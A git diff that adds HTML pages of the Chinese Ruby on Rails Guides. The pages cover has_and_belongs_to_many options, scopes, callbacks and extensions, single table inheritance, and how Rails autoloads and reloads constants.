+  has_and_belongs_to_many :friends,
+      class_name: "User",
+      foreign_key: "this_user_id",
+      association_foreign_key: "other_user_id"
+end
+
+
+
+

4.4.2.2 :autosave +

如果把 :autosave 选项设为 true,保存父对象时,会自动保存所有子对象,并把标记为析构的子对象销毁。

4.4.2.3 :class_name +

如果另一个模型无法从关联的名称获取,可以使用 :class_name 选项指定。例如,一个部件由多个装配件组成,但表示装配件的模型是 Gadget,那么可以这样声明关联:

+
+class Parts < ApplicationRecord
+  has_and_belongs_to_many :assemblies, class_name: "Gadget"
+end
+
+
+
+

4.4.2.4 :foreign_key +

按照约定,在联结表中用来指向模型的外键名是模型名后加 _id:foreign_key 选项用于设置要使用的外键名:

+
+class User < ApplicationRecord
+  has_and_belongs_to_many :friends,
+      class_name: "User",
+      foreign_key: "this_user_id",
+      association_foreign_key: "other_user_id"
+end
+
+
+
+

4.4.2.5 :join_table +

如果默认按照字典顺序生成的联结表名不能满足要求,可以使用 :join_table 选项指定。

4.4.2.6 :validate +

如果把 :validate 选项设为 false,保存对象时,不会验证关联的对象。该选项的默认值是 true,即保存对象时验证关联的对象。

4.4.3 has_and_belongs_to_many 的作用域

有时可能需要定制 has_and_belongs_to_many 关联使用的查询。定制的查询在作用域代码块中指定。例如:

+
+class Parts < ApplicationRecord
+  has_and_belongs_to_many :assemblies, -> { where active: true }
+end
+
+
+
+

在作用域代码块中可以使用任何一个标准的查询方法。下面分别介绍其中几个:

+
    +
  • where +
  • +
  • extending +
  • +
  • group +
  • +
  • includes +
  • +
  • limit +
  • +
  • offset +
  • +
  • order +
  • +
  • readonly +
  • +
  • select +
  • +
  • distinct +
  • +
+

4.4.3.1 where +

where 方法指定关联的对象必须满足的条件。

+
+class Parts < ApplicationRecord
+  has_and_belongs_to_many :assemblies,
+    -> { where "factory = 'Seattle'" }
+end
+
+
+
+

条件还可以使用散列指定:

+
+class Parts < ApplicationRecord
+  has_and_belongs_to_many :assemblies,
+    -> { where factory: 'Seattle' }
+end
+
+
+
+

如果 where 使用散列形式,通过这个关联创建的记录会自动使用散列中的作用域。针对上面的例子,使用 @parts.assemblies.create@parts.assemblies.build 创建订单时,会自动把 factory 字段的值设为 "Seattle"

4.4.3.2 extending +

extending 方法指定一个模块名,用来扩展关联代理。后文会详细介绍关联扩展。

4.4.3.3 group +

group 方法指定一个属性名,用在 SQL GROUP BY 子句中,分组查询结果。

+
+class Parts < ApplicationRecord
+  has_and_belongs_to_many :assemblies, -> { group "factory" }
+end
+
+
+
+

4.4.3.4 includes +

includes 方法指定使用关联时要及早加载的间接关联。

4.4.3.5 limit +

limit 方法限制通过关联获取的对象数量。

+
+class Parts < ApplicationRecord
+  has_and_belongs_to_many :assemblies,
+    -> { order("created_at DESC").limit(50) }
+end
+
+
+
+

4.4.3.6 offset +

offset 方法指定通过关联获取对象时的偏移量。例如,-> { offset(11) } 会跳过前 11 个记录。

4.4.3.7 order +

order 方法指定获取关联对象时使用的排序方式,用在 SQL ORDER BY 子句中。

+
+class Parts < ApplicationRecord
+  has_and_belongs_to_many :assemblies,
+    -> { order "assembly_name ASC" }
+end
+
+
+
+

4.4.3.8 readonly +

如果使用 readonly,通过关联获取的对象是只读的。

4.4.3.9 select +

select 方法用于覆盖检索关联对象数据的 SQL SELECT 子句。默认情况下,Rails 检索所有列。

4.4.3.10 distinct +

distinct 方法用于删除集合中重复的对象。

4.4.4 什么时候保存对象

把对象赋值给 has_and_belongs_to_many 关联时,会自动保存对象(因为要更新外键)。如果一次赋值多个对象,所有对象都会自动保存。

如果由于无法通过验证而导致保存失败,赋值语句返回 false,赋值操作会取消。

如果父对象(has_and_belongs_to_many 关联声明所在的模型)没保存(new_record? 方法返回 true),那么子对象也不会保存。只有保存了父对象,才会保存子对象。

如果赋值给 has_and_belongs_to_many 关联时不想保存对象,使用 collection.build 方法。

4.5 关联回调

普通回调会介入 Active Record 对象的生命周期,在多个时刻处理对象。例如,可以使用 :before_save 回调在保存对象之前处理对象。

关联回调和普通回调差不多,只不过由集合生命周期中的事件触发。关联回调有四种:

+
    +
  • before_add +
  • +
  • after_add +
  • +
  • before_remove +
  • +
  • after_remove +
  • +
+

关联回调在声明关联时定义。例如:

+
+class Author < ApplicationRecord
+  has_many :books, before_add: :check_credit_limit
+
+  def check_credit_limit(book)
+    ...
+  end
+end
+
+
+
+

Rails 会把要添加或删除的对象传入回调。

同一事件可以触发多个回调,多个回调使用数组指定:

+
+class Author < ApplicationRecord
+  has_many :books,
+    before_add: [:check_credit_limit, :calculate_shipping_charges]
+
+  def check_credit_limit(book)
+    ...
+  end
+
+  def calculate_shipping_charges(book)
+    ...
+  end
+end
+
+
+
+

如果 before_add 回调抛出异常,不会把对象添加到集合中。类似地,如果 before_remove 抛出异常,对象不会从集合中删除。

4.6 关联扩展

Rails 基于关联代理对象自动创建的功能是死的,可以通过匿名模块、新的查找方法、创建对象的方法等进行扩展。例如:

+
+class Author < ApplicationRecord
+  has_many :books do
+    def find_by_book_prefix(book_number)
+      find_by(category_id: book_number[0..2])
+    end
+  end
+end
+
+
+
+

如果扩展要在多个关联中使用,可以将其写入具名扩展模块。例如:

+
+module FindRecentExtension
+  def find_recent
+    where("created_at > ?", 5.days.ago)
+  end
+end
+
+class Author < ApplicationRecord
+  has_many :books, -> { extending FindRecentExtension }
+end
+
+class Supplier < ApplicationRecord
+  has_many :deliveries, -> { extending FindRecentExtension }
+end
+
+
+
+

在扩展中可以使用如下 proxy_association 方法的三个属性获取关联代理的内部信息:

+
    +
  • proxy_association.owner:返回关联所属的对象;
  • +
  • proxy_association.reflection:返回描述关联的反射对象;
  • +
  • proxy_association.target:返回 belongs_tohas_one 关联的关联对象,或者 has_manyhas_and_belongs_to_many 关联的关联对象集合;
  • +
+

5 单表继承

有时可能想在不同的模型中共用相同的字段和行为。假如有 Car、Motorcycle 和 Bicycle 三个模型,我们想在它们中共用 colorprice 字段,但是各自的具体行为不同,而且使用不同的控制器。

在 Rails 中实现这一需求非常简单。首先,生成基模型 Vehicle:

+
+$ rails generate model vehicle type:string color:string price:decimal{10.2}
+
+
+
+

注意到了吗,我们添加了一个“type”字段?既然所有模型都保存在这一个数据库表中,Rails 会把保存的模型名存储在这一列中。对这个例子来说,“type”字段的值可能是“Car”、“Motorcycle”或“Bicycle”。如果表中没有“type”字段,单表继承无法工作。

然后,生成三个模型,都继承自 Vehicle。为此,可以使用 parent=PARENT 选项。这样,生成的模型继承指定的父模型,而且不生成对应的迁移(因为表已经存在)。

例如,生成 Car 模型的命令是:

+
+$ rails generate model car --parent=Vehicle
+
+
+
+

生成的模型如下:

+
+class Car < Vehicle
+end
+
+
+
+

这意味着,添加到 Vehicle 中的所有行为在 Car 中都可用,例如关联、公开方法,等等。

创建一辆汽车,相应的记录保存在 vehicles 表中,而且 type 字段的值是“Car”:

+
+Car.create(color: 'Red', price: 10000)
+
+
+
+

对应的 SQL 如下:

+
+INSERT INTO "vehicles" ("type", "color", "price") VALUES ('Car', 'Red', 10000)
+
+
+
+

查询汽车记录时只会搜索此类车辆:

+
+Car.all
+
+
+
+

执行的查询如下:

+
+SELECT "vehicles".* FROM "vehicles" WHERE "vehicles"."type" IN ('Car')
+
+
+
+ + +

反馈

+

+ 我们鼓励您帮助提高本指南的质量。 +

+

+ 如果看到如何错字或错误,请反馈给我们。 + 您可以阅读我们的文档贡献指南。 +

+

+ 您还可能会发现内容不完整或不是最新版本。 + 请添加缺失文档到 master 分支。请先确认 Edge Guides 是否已经修复。 + 关于用语约定,请查看Ruby on Rails 指南指导。 +

+

+ 无论什么原因,如果你发现了问题但无法修补它,请创建 issue。 +

+

+ 最后,欢迎到 rubyonrails-docs 邮件列表参与任何有关 Ruby on Rails 文档的讨论。 +

+

中文翻译反馈

+

贡献:https://github.com/ruby-china/guides

+
+
+
+ +
+ + + + + + + + + diff --git a/autoloading_and_reloading_constants.html b/autoloading_and_reloading_constants.html new file mode 100644 index 0000000..38a3ecd --- /dev/null +++ b/autoloading_and_reloading_constants.html @@ -0,0 +1,1002 @@ + + + + + + + +自动加载和重新加载常量 — Ruby on Rails Guides + + + + + + + + + + + +
+
+ 更多内容 rubyonrails.org: + + 更多内容 + + +
+
+ +
+ +
+
+

自动加载和重新加载常量

本文说明常量自动加载和重新加载机制。

读完本文后,您将学到:

+
    +
  • Ruby 常量的关键知识;
  • +
  • autoload_paths 是什么;
  • +
  • 常量是如何自动加载的;
  • +
  • require_dependency 是什么;
  • +
  • 常量是如何重新加载的;
  • +
  • 自动加载常见问题的解决方案。
  • +
+ + + + +
+
+ +
+
+
+

1 简介

编写 Ruby on Rails 应用时,代码会预加载。

在常规的 Ruby 程序中,类需要加载依赖:

+
+require 'application_controller'
+require 'post'
+
+class PostsController < ApplicationController
+  def index
+    @posts = Post.all
+  end
+end
+
+
+
+

Ruby 程序员的直觉立即就能发现这样做有冗余:如果类定义所在的文件与类名一致,难道不能通过某种方式自动加载吗?我们无需扫描文件寻找依赖,这样不可靠。

而且,Kernel#require 只加载文件一次,如果修改后无需重启服务器,那么开发的过程就更为平顺。如果能在开发环境中使用 Kernel#load,而在生产环境使用 Kernel#require,那该多好。

其实,Ruby on Rails 就有这样的功能,我们刚才已经用到了:

+
+class PostsController < ApplicationController
+  def index
+    @posts = Post.all
+  end
+end
+
+
+
+

本文说明这一机制的运作原理。

2 常量刷新程序

在多数编程语言中,常量不是那么重要,但在 Ruby 中却是一个内容丰富的话题。

本文不会详解 Ruby 常量,但是会重点说明关键的概念。掌握以下几小节的内容对理解常量自动加载和重新加载有所帮助。

2.1 嵌套

类和模块定义可以嵌套,从而创建命名空间:

+
+module XML
+  class SAXParser
+    # (1)
+  end
+end
+
+
+
+

类和模块的嵌套由内向外展开。嵌套可以通过 Module.nesting 方法审查。例如,在上述示例中,(1) 处的嵌套是

+
+[XML::SAXParser, XML]
+
+
+
+

注意,组成嵌套的是类和模块“对象”,而不是访问它们的常量,与它们的名称也没有关系。

例如,对下面的定义来说

+
+class XML::SAXParser
+  # (2)
+end
+
+
+
+

虽然作用跟前一个示例类似,但是 (2) 处的嵌套是

+
+[XML::SAXParser]
+
+
+
+

不含“XML”。

从这个示例可以看出,嵌套中的类或模块的名称与所在的命名空间没有必然联系。

事实上,二者毫无关系。比如说:

+
+module X
+  module Y
+  end
+end
+
+module A
+  module B
+  end
+end
+
+module X::Y
+  module A::B
+    # (3)
+  end
+end
+
+
+
+

(3) 处的嵌套包含两个模块对象:

+
+[A::B, X::Y]
+
+
+
+

可以看出,嵌套的最后不是“A”,甚至不含“A”,但是包含 X::Y,而且它与 A::B 无关。

嵌套是解释器维护的一个内部堆栈,根据下述规则修改:

+
    +
  • 执行 class 关键字后面的定义体时,类对象入栈;执行完毕后出栈。
  • +
  • 执行 module 关键字后面的定义体时,模块对象入栈;执行完毕后出栈。
  • +
  • 执行 class << object 打开的单例类时,类对象入栈;执行完毕后出栈。
  • +
  • 调用 instance_eval 时如果传入字符串参数,接收者的单例类入栈求值的代码所在的嵌套层次。调用 class_evalmodule_eval 时如果传入字符串参数,接收者入栈求值的代码所在的嵌套层次.
  • +
  • 顶层代码中由 Kernel#load 解释嵌套是空的,除非调用 load 时把第二个参数设为真值;如果是这样,Ruby 会创建一个匿名模块,将其入栈。
  • +
+

注意,块不会修改嵌套堆栈。尤其要注意的是,传给 Class.newModule.new 的块不会导致定义的类或模块入栈嵌套堆栈。由此可见,以不同的方式定义类和模块,达到的效果是有区别的。

2.2 定义类和模块是为常量赋值

假设下面的代码片段是定义一个类(而不是打开类):

+
+class C
+end
+
+
+
+

Ruby 在 Object 中创建一个常量 C,并将一个类对象存储在 C 常量中。这个类实例的名称是“C”,一个字符串,跟常量名一样。

如下的代码:

+
+class Project < ApplicationRecord
+end
+
+
+
+

这段代码执行的操作等效于下述常量赋值:

+
+Project = Class.new(ApplicationRecord)
+
+
+
+

而且有个副作用——设定类的名称:

+
+Project.name # => "Project"
+
+
+
+

这得益于常量赋值的一条特殊规则:如果被赋值的对象是匿名类或模块,Ruby 会把对象的名称设为常量的名称。

自此之后常量和实例发生的事情无关紧要。例如,可以把常量删除,类对象可以赋值给其他常量,或者不再存储于常量中,等等。名称一旦设定就不会再变。

类似地,模块使用 module 关键字创建,如下所示:

+
+module Admin
+end
+
+
+
+

这段代码执行的操作等效于下述常量赋值:

+
+Admin = Module.new
+
+
+
+

而且有个副作用——设定模块的名称:

+
+Admin.name # => "Admin"
+
+
+
+

传给 Class.newModule.new 的块与 classmodule 关键字的定义体不在完全相同的上下文中执行。但是两种方式得到的结果都是为常量赋值。

因此,当人们说“String 类”的时候,真正指的是 Object 常量中存储的一个类对象,它存储着常量“String”中存储的一个类对象。而 String 是一个普通的 Ruby 常量,与常量有关的一切,例如解析算法,在 String 常量上都适用。

同样地,在下述控制器中

+
+class PostsController < ApplicationController
+  def index
+    @posts = Post.all
+  end
+end
+
+
+
+

Post 不是调用类的句法,而是一个常规的 Ruby 常量。如果一切正常,这个常量的求值结果是一个能响应 all 方法的对象。

因此,我们讨论的话题才是“常量”自动加载。Rails 提供了自动加载常量的功能。

2.3 常量存储在模块中

按字面意义理解,常量属于模块。类和模块有常量表,你可以将其理解为哈希表。

下面通过一个示例来理解。通常我们都说“String 类”,这样方面,下面的阐述只是为了讲解原理。

我们来看看下述模块定义:

+
+module Colors
+  RED = '0xff0000'
+end
+
+
+
+

首先,处理 module 关键字时,解释器会在 Object 常量存储的类对象的常量表中新建一个条目。这个条目把“Colors”与一个新建的模块对象关联起来。而且,解释器把那个新建的模块对象的名称设为字符串“Colors”。

随后,解释模块的定义体时,会在 Colors 常量中存储的模块对象的常量表中新建一个条目。那个条目把“RED”映射到字符串“0xff0000”上。

注意,Colors::RED 与其他类或模块对象中的 RED 常量完全没有关系。如果存在这样一个常量,它在相应的常量表中,是不同的条目。

在前述各段中,尤其要注意类和模块对象、常量名称,以及常量表中与之关联的值对象之间的区别。

2.4 解析算法

2.4.1 相对常量的解析算法

在代码中的特定位置,假如使用 cref 表示嵌套中的第一个元素,如果没有嵌套,则表示 Object

简单来说,相对常量(relative constant)引用的解析算法如下:

+
    +
  1. 如果嵌套不为空,在嵌套中按元素顺序查找常量。元素的祖先忽略不计。
  2. +
  3. 如果未找到,算法向上,进入 cref 的祖先链。
  4. +
  5. 如果未找到,而且 cref 是个模块,在 Object 中查找常量。
  6. +
  7. 如果未找到,在 cref 上调用 const_missing 方法。这个方法的默认行为是抛出 NameError 异常,不过可以覆盖。
  8. +
+

Rails 的自动加载机制没有仿照这个算法,查找的起点是要自动加载的常量名称,即 cref。详情参见 相对引用

2.4.2 限定常量的解析算法

限定常量(qualified constant)指下面这种:

+
+Billing::Invoice
+
+
+
+

Billing::Invoice 由两个常量组成,其中 Billing 是相对常量,使用前一节所属的算法解析。

在开头加上两个冒号可以把第一部分的相对常量变成绝对常量,例如 ::Billing::Invoice。此时,Billing 作为顶层常量查找。

InvoiceBilling 限定,下面说明它是如何解析的。假定 parent 是限定的类或模块对象,即上例中的 Billing。限定常量的解析算法如下:

+
    +
  1. 在 parent 及其祖先中查找常量。
  2. +
  3. 如果未找到,调用 parent 的 const_missing 方法。这个方法的默认行为是抛出 NameError 异常,不过可以覆盖。
  4. +
+

可以看出,这个算法比相对常量的解析算法简单。毕竟这里不涉及嵌套,而且模块也不是特殊情况,如果二者及其祖先中都找不到常量,不会再查看 Object

Rails 的自动加载机制没有仿照这个算法,查找的起点是要自动加载的常量名称和 parent。详情参见 限定引用

3 词汇表

3.1 父级命名空间

给定常量路径字符串,父级命名空间是把最右边那一部分去掉后余下的字符串。

例如,字符串“A::B::C”的父级命名空间是字符串“A::B”,“A::B”的父级命名空间是“A”,“A”的父级命名空间是“”(空)。

不过涉及类和模块的父级命名空间解释有点复杂。假设有个名为“A::B”的模块 M:

+
    +
  • 父级命名空间 “A” 在给定位置可能反应不出嵌套。
  • +
  • 某处代码可能把常量 AObject 中删除了,导致常量 A 不存在。
  • +
  • 如果 A 存在,A 中原来有的类或模块可能不再存在。例如,把一个常量删除后再赋值另一个常量,那么存在的可能就不是同一个对象。
  • +
  • 这种情形中,重新赋值的 A 可能是一个名为“A”的新类或模块。
  • +
  • 在上述情况下,无法再通过 A::B 访问 M,但是模块对象本身可以继续存活于某处,而且名称依然是“A::B”。
  • +
+

父级命名空间这个概念是自动加载算法的核心,有助于以直观的方式解释和理解算法,但是并不严谨。由于有边缘情况,本文所说的“父级命名空间”真正指的是具体的字符串来源。

3.2 加载机制

如果 config.cache_classes 的值是 false(开发环境的默认值),Rails 使用 Kernel#load 自动加载文件,否则使用 Kernel#require 自动加载文件(生产环境的默认值)。

如果启用了常量重新加载,Rails 通过 Kernel#load 多次执行相同的文件。

本文使用的“加载”是指解释指定的文件,但是具体使用 Kernel#load 还是 Kernel#require,取决于配置。

4 自动加载可用性

只要环境允许,Rails 始终会自动加载。例如,runner 命令会自动加载:

+
+$ bin/rails runner 'p User.column_names'
+["id", "email", "created_at", "updated_at"]
+
+
+
+

控制台会自动加载,测试组件会自动加载,当然,应用也会自动加载。

默认情况下,在生产环境中,Rails 启动时会及早加载应用文件,因此开发环境中的多数自动加载行为不会发生。但是在及早加载的过程中仍然可能会触发自动加载。

例如:

+
+class BeachHouse < House
+end
+
+
+
+

如果及早加载 app/models/beach_house.rb 文件之后,House 尚不可知,Rails 会自动加载它。

5 autoload_paths +

或许你已经知道,使用 require 引入相对文件名时,例如

+
+require 'erb'
+
+
+
+

Ruby 在 $LOAD_PATH 中列出的目录里寻找文件。即,Ruby 迭代那些目录,检查其中有没有名为“erb.rb”“erb.so”“erb.o”或“erb.dll”的文件。如果在某个目录中找到了,解释器加载那个文件,搜索结束。否则,继续在后面的目录中寻找。如果最后没有找到,抛出 LoadError 异常。

后面会详述常量自动加载机制,不过整体思路是,遇到未知的常量时,如 Post,假如 app/models 目录中存在 post.rb 文件,Rails 会找到它,执行它,从而定义 Post 常量。

好吧,其实 Rails 会在一系列目录中查找 post.rb,有点类似于 $LOAD_PATH。那一系列目录叫做 autoload_paths,默认包含:

+
    +
  • 应用和启动时存在的引擎的 app 目录中的全部子目录。例如,app/controllers。这些子目录不一定是默认的,可以是任何自定义的目录,如 app/workersapp 目录中的全部子目录都自动纳入 autoload_paths
  • +
  • 应用和引擎中名为 app/*/concerns 的二级目录。
  • +
  • test/mailers/previews 目录。
  • +
+

此外,这些目录可以使用 config.autoload_paths 配置。例如,以前 lib 在这一系列目录中,但是现在不在了。应用可以在 config/application.rb 文件中添加下述配置,将其纳入其中:

+
+config.autoload_paths << "#{Rails.root}/lib"
+
+
+
+

在各个环境的配置文件中不能配置 config.autoload_paths

autoload_paths 的值可以审查。在新创建的应用中,它的值是(经过编辑):

+
+$ bin/rails r 'puts ActiveSupport::Dependencies.autoload_paths'
+.../app/assets
+.../app/controllers
+.../app/helpers
+.../app/mailers
+.../app/models
+.../app/controllers/concerns
+.../app/models/concerns
+.../test/mailers/previews
+
+
+
+

autoload_paths 在初始化过程中计算并缓存。目录结构发生变化时,要重启服务器。

6 自动加载算法

6.1 相对引用

相对常量引用可在多处出现,例如:

+
+class PostsController < ApplicationController
+  def index
+    @posts = Post.all
+  end
+end
+
+
+
+

这里的三个常量都是相对引用。

6.1.1 classmodule 关键字后面的常量

Ruby 程序会查找 classmodule 关键字后面的常量,因为要知道是定义类或模块,还是再次打开。

如果常量不被认为是缺失的,不会定义常量,也不会触发自动加载。

因此,在上述示例中,解释那个文件时,如果 PostsController 未定义,Rails 不会触发自动加载机制,而是由 Ruby 定义那个控制器。

6.1.2 顶层常量

相对地,如果 ApplicationController 是未知的,会被认为是缺失的,Rails 会尝试自动加载。

为了加载 ApplicationController,Rails 会迭代 autoload_paths。首先,检查 app/assets/application_controller.rb 文件是否存在,如果不存在(通常如此),再检查 app/controllers/application_controller.rb 是否存在。

如果那个文件定义了 ApplicationController 常量,那就没事,否则抛出 LoadError 异常:

+
+unable to autoload constant ApplicationController, expected
+<full path to application_controller.rb> to define it (LoadError)
+
+
+
+

Rails 不要求自动加载的常量是类或模块对象。假如在 app/models/max_clients.rb 文件中定义了 MAX_CLIENTS = 100,Rails 也能自动加载 MAX_CLIENTS

6.1.3 命名空间

自动加载 ApplicationController 时直接检查 autoload_paths 里的目录,因为它没有嵌套。Post 就不同了,那一行的嵌套是 [PostsController],此时就会使用涉及命名空间的算法。

对下述代码来说:

+
+module Admin
+  class BaseController < ApplicationController
+    @@all_roles = Role.all
+  end
+end
+
+
+
+

为了自动加载 Role,要分别检查当前或父级命名空间中有没有定义 Role。因此,从概念上讲,要按顺序尝试自动加载下述常量:

+
+Admin::BaseController::Role
+Admin::Role
+Role
+
+
+
+

为此,Rails 在 autoload_paths 中分别查找下述文件名:

+
+admin/base_controller/role.rb
+admin/role.rb
+role.rb
+
+
+
+

此外还会查找一些其他目录,稍后说明。

不含扩展名的相对文件路径通过 'Constant::Name'.underscore 得到,其中 Constant::Name 是已定义的常量。

假设 app/models/post.rb 文件中定义了 Post 模型,下面说明 Rails 是如何自动加载 PostsController 中的 Post 常量的。

首先,在 autoload_paths 中查找 posts_controller/post.rb

+
+app/assets/posts_controller/post.rb
+app/controllers/posts_controller/post.rb
+app/helpers/posts_controller/post.rb
+...
+test/mailers/previews/posts_controller/post.rb
+
+
+
+

最后并未找到,因此会寻找一个类似的目录,下一节说明原因:

+
+app/assets/posts_controller/post
+app/controllers/posts_controller/post
+app/helpers/posts_controller/post
+...
+test/mailers/previews/posts_controller/post
+
+
+
+

如果也未找到这样一个目录,Rails 会在父级命名空间中再次查找。对 Post 来说,只剩下顶层命名空间了:

+
+app/assets/post.rb
+app/controllers/post.rb
+app/helpers/post.rb
+app/mailers/post.rb
+app/models/post.rb
+
+
+
+

这一次找到了 app/models/post.rb 文件。查找停止,加载那个文件。如果那个文件中定义了 Post,那就没问题,否则抛出 LoadError 异常。

6.2 限定引用

如果缺失限定常量,Rails 不会在父级命名空间中查找。但是有一点要留意:缺失常量时,Rails 不知道它是相对引用还是限定引用。

例如:

+
+module Admin
+  User
+end
+
+
+
+

+
+Admin::User
+
+
+
+

如果 User 缺失,在上述两种情况中 Rails 只知道缺失的是“Admin”模块中一个名为“User”的常量。

如果 User 是顶层常量,对前者来说,Ruby 会解析,但是后者不会。一般来说,Rails 解析常量的算法与 Ruby 不同,但是此时,Rails 尝试使用下述方式处理:

+
+

如果类或模块的父级命名空间中没有缺失的常量,Rails 假定引用的是相对常量。否则是限定常量。

+
+

例如,如果下述代码触发自动加载

+
+Admin::User
+
+
+
+

那么,Object 中已经存在 User 常量。但是下述代码不会触发自动加载

+
+module Admin
+  User
+end
+
+
+
+

如若不然,Ruby 就能解析出 User,也就无需自动加载了。因此,Rails 假定它是限定引用,只会在 admin/user.rb 文件和 admin/user 目录中查找。

其实,只要嵌套匹配全部父级命名空间,而且彼时适用这一规则的常量已知,这种机制便能良好运行。

然而,自动加载是按需执行的。如果碰巧顶层 User 尚未加载,那么 Rails 就假定它是相对引用。

在实际使用中,这种命名冲突很少发生。如果发生,require_dependency 提供了解决方案:确保做前述引文中的试探时,在有冲突的地方定义了常量。

6.3 自动模块

把模块作为命名空间使用时,Rails 不要求应用为之定义一个文件,有匹配命名空间的目录就够了。

假设应用有个后台,相关的控制器存储在 app/controllers/admin 目录中。遇到 Admin::UsersController 时,如果 Admin 模块尚未加载,Rails 要先自动加载 Admin 常量。

如果 autoload_paths 中有个名为 admin.rb 的文件,Rails 会加载那个文件。如果没有这么一个文件,而且存在名为 admin 的目录,Rails 会创建一个空模块,自动将其赋值给 Admin 常量。

6.4 一般步骤

相对引用在 cref 中报告缺失,限定引用在 parent 中报告缺失(cref 的指代参见 相对常量的解析算法开头,parent 的指代参见 限定常量的解析算法开头)。

在任意的情况下,自动加载常量 C 的步骤如下:

+
+if the class or module in which C is missing is Object
+  let ns = ''
+else
+  let M = the class or module in which C is missing
+
+  if M is anonymous
+    let ns = ''
+  else
+    let ns = M.name
+  end
+end
+
+loop do
+  # 查找特定的文件
+  for dir in autoload_paths
+    if the file "#{dir}/#{ns.underscore}/c.rb" exists
+      load/require "#{dir}/#{ns.underscore}/c.rb"
+
+      if C is now defined
+        return
+      else
+        raise LoadError
+      end
+    end
+  end
+
+  # 查找自动模块
+  for dir in autoload_paths
+    if the directory "#{dir}/#{ns.underscore}/c" exists
+      if ns is an empty string
+        let C = Module.new in Object and return
+      else
+        let C = Module.new in ns.constantize and return
+      end
+    end
+  end
+
+  if ns is empty
+    # 到顶层了,还未找到常量
+    raise NameError
+  else
+    if C exists in any of the parent namespaces
+      # 以限定常量试探
+      raise NameError
+    else
+      # 在父级命名空间中再试一次
+      let ns = the parent namespace of ns and retry
+    end
+  end
+end
+
+
+
+

7 require_dependency +

常量自动加载按需触发,因此使用特定常量的代码可能已经定义了常量,或者触发自动加载。具体情况取决于执行路径,二者之间可能有较大差异。

然而,有时执行到某部分代码时想确保特定常量是已知的。require_dependency 为此提供了一种方式。它使用目前的加载机制加载文件,而且会记录文件中定义的常量,就像是自动加载的一样,而且会按需重新加载。

require_dependency 很少需要使用,不过 自动加载和 STI常量未缺失有几个用例。

与自动加载不同,require_dependency 不期望文件中定义任何特定的常量。但是利用这种行为不好,文件和常量路径应该匹配。

8 常量重新加载

config.cache_classes 设为 false 时,Rails 会重新自动加载常量。

例如,在控制台会话中编辑文件之后,可以使用 reload! 命令重新加载代码:

+
+> reload!
+
+
+
+

在应用运行的过程中,如果相关的逻辑有变,会重新加载代码。为此,Rails 会监控下述文件:

+
    +
  • config/routes.rb +
  • +
  • 本地化文件
  • +
  • autoload_paths 中的 Ruby 文件
  • +
  • db/schema.rbdb/structure.sql +
  • +
+

如果这些文件中的内容有变,有个中间件会发现,然后重新加载代码。

自动加载机制会记录自动加载的常量。重新加载机制使用 Module#remove_const 方法把它们从相应的类和模块中删除。这样,运行代码时那些常量就变成未知了,从而按需重新加载文件。

这是一个极端操作,Rails 重新加载的不只是那些有变化的代码,因为类之间的依赖极难处理。相反,Rails 重新加载一切。

9 Module#autoload 不涉其中

Module#autoload 提供的是惰性加载常量方式,深置于 Ruby 的常量查找算法、动态常量 API,等等。这一机制相当简单。

Rails 内部在加载过程中大量采用这种方式,尽量减少工作量。但是,Rails 的常量自动加载机制不是使用 Module#autoload 实现的。

如果基于 Module#autoload 实现,可以遍历应用树,调用 autoload 把文件名和常规的常量名对应起来。

Rails 不采用这种实现方式有几个原因。

例如,Module#autoload 只能使用 require 加载文件,因此无法重新加载。不仅如此,它使用的是 require 关键字,而不是 Kernel#require 方法。

因此,删除文件后,它无法移除声明。如果使用 Module#remove_const 把常量删除了,不会触发 Module#autoload。此外,它不支持限定名称,因此有命名空间的文件要在遍历树时解析,这样才能调用相应的 autoload 方法,但是那些文件中可能有尚未配置的常量引用。

基于 Module#autoload 的实现很棒,但是如你所见,目前还不可能。Rails 的常量自动加载机制使用 Module#const_missing 实现,因此才有本文所述的独特算法。

10 常见问题

10.1 嵌套和限定常量

假如有下述代码

+
+module Admin
+  class UsersController < ApplicationController
+    def index
+      @users = User.all
+    end
+  end
+end
+
+
+
+

+
+class Admin::UsersController < ApplicationController
+  def index
+    @users = User.all
+  end
+end
+
+
+
+

为了解析 User,对前者来说,Ruby 会检查 Admin,但是后者不会,因为它不在嵌套中(参见 嵌套解析算法)。

可惜,在缺失常量的地方,Rails 自动加载机制不知道嵌套,因此行为与 Ruby 不同。具体而言,在两种情况下,Admin::User 都能自动加载。

尽管严格来说某些情况下 classmodule 关键字后面的限定常量可以自动加载,但是最好使用相对常量:

+
+module Admin
+  class UsersController < ApplicationController
+    def index
+      @users = User.all
+    end
+  end
+end
+
+
+
+

10.2 自动加载和 STI

单表继承(Single Table Inheritance,STI)是 Active Record 的一个功能,作用是在一个数据库表中存储具有层次结构的多个模型。这种模型的 API 知道层次结构的存在,而且封装了一些常用的需求。例如,对下面的类来说:

+
+# app/models/polygon.rb
+class Polygon < ApplicationRecord
+end
+
+# app/models/triangle.rb
+class Triangle < Polygon
+end
+
+# app/models/rectangle.rb
+class Rectangle < Polygon
+end
+
+
+
+

Triangle.create 在表中创建一行,表示一个三角形,而 Rectangle.create 创建一行,表示一个长方形。如果 id 是某个现有记录的 ID,Polygon.find(id) 返回的是正确类型的对象。

操作集合的方法也知道层次结构。例如,Polygon.all 返回表中的全部记录,因为所有长方形和三角形都是多边形。Active Record 负责为结果集合中的各个实例设定正确的类。

类型会按需自动加载。例如,如果 Polygon.first 是一个长方形,而 Rectangle 尚未加载,Active Record 会自动加载它,然后正确实例化记录。

目前一切顺利,但是如果在根类上执行查询,需要处理子类,这时情况就复杂了。

处理 Polygon 时,无需知道全部子代,因为表中的所有记录都是多边形。但是处理子类时, Active Record 需要枚举类型,找到所需的那个。下面看一个例子。

Rectangle.all 在查询中添加一个类型约束,只加载长方形:

+
+SELECT "polygons".* FROM "polygons"
+WHERE "polygons"."type" IN ("Rectangle")
+
+
+
+

下面定义一个 Rectangle 的子类:

+
+# app/models/square.rb
+class Square < Rectangle
+end
+
+
+
+

现在,Rectangle.all 返回的结果应该既有长方形,也有正方形:

+
+SELECT "polygons".* FROM "polygons"
+WHERE "polygons"."type" IN ("Rectangle", "Square")
+
+
+
+

但是这里有个问题:Active Record 怎么知道存在 Square 类呢?

如果 app/models/square.rb 文件存在,而且定义了 Square 类,但是没有代码使用它,Rectangle.all 执行的查询是

+
+SELECT "polygons".* FROM "polygons"
+WHERE "polygons"."type" IN ("Rectangle")
+
+
+
+

这不是缺陷,查询包含了所有已知的 Rectangle 子代。

为了确保能正确处理,而不管代码的执行顺序,可以在定义各个中间类的文件底部手动加载子类:

+
+# app/models/rectangle.rb
+class Rectangle < Polygon
+end
+require_dependency 'square'
+
+
+
+

